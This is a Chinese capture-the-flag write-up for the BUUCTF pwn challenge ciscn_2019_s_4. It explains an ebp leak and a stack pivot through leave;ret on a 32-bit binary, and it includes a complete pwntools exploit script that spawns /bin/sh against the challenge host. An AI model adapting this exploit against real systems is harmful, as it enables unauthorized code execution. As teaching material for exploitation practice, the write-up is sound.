题目来源
buuctf——ciscn_2019_s_4
参考链接
https://blog.csdn.net/mcmuyanga/article/details/112462462
题目信息
32位、ubuntu18
溢出点在vul函数中,溢出两次,均只能溢出两个机器字长。
hack函数中给出了system函数,但是参数不对。
可以直接使用call system。
解题步骤
考虑使用栈迁移,先得到ebp的值,然后动态调试得到ebp距离栈参数s的距离,本题为0x38,这样就可以将栈偏移到padding中。
关键步骤
1、得到ebp距离栈参数s的距离
在printf处打断点,0xffffd4c8-0xffffd490=0x38
2、接收ebp的地址值
由上图可得,ebp的地址不是以常见的0xf7为首的,因此需要自己打锚点,然后接收后四位,常用的u32(r.recvuntil(b'\xf7')[-4:])是抓不到的。
[Python] 纯文本查看 复制代码 payload = b'a'*0x24 + b'bbbb'
sd(payload)
ru("bbbb")
ebp_addr = u32(r.recv(4))
wp[Python] 纯文本查看 复制代码 # -*- coding: utf-8 -*-
from pwn import*
context.log_level='debug'
context.arch='i386'
context.os = "linux"
pc = "./ciscn_s_4"
if __name__ == '__main__':
local = sys.argv[1]
if local == '1':
r= process(pc)
elf = ELF(pc)
libc = elf.libc
else:
r=remote("node4.buuoj.cn",26327)
elf = ELF(pc)
libc = elf.libc
sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
def db():
gdb.attach(r)
pause()
def dbs(src):
gdb.attach(r, src)
leave_ret = 0x080484b8
system_plt = elf.plt['system']
system_call = 0x08048559
lg('system_plt')
payload = b'a'*0x24 + b'bbbb'
sd(payload)
ru("bbbb")
ebp_addr = u32(r.recv(4))
lg('ebp_addr')
buff = ebp_addr - 0x38
payload = (p32(system_plt)+p32(system_plt)+p32(buff+12)+b'/bin/sh\x00').ljust(0x28,b'a') + p32(buff-4) + p32(leave_ret)
#使用system_call可以不用接返回地址
#payload = (p32(system_call)+p32(buff+8)+b'/bin/sh\x00').ljust(0x28,b'a') + p32(buff-4) + p32(leave_ret)
sd(payload)
ti() |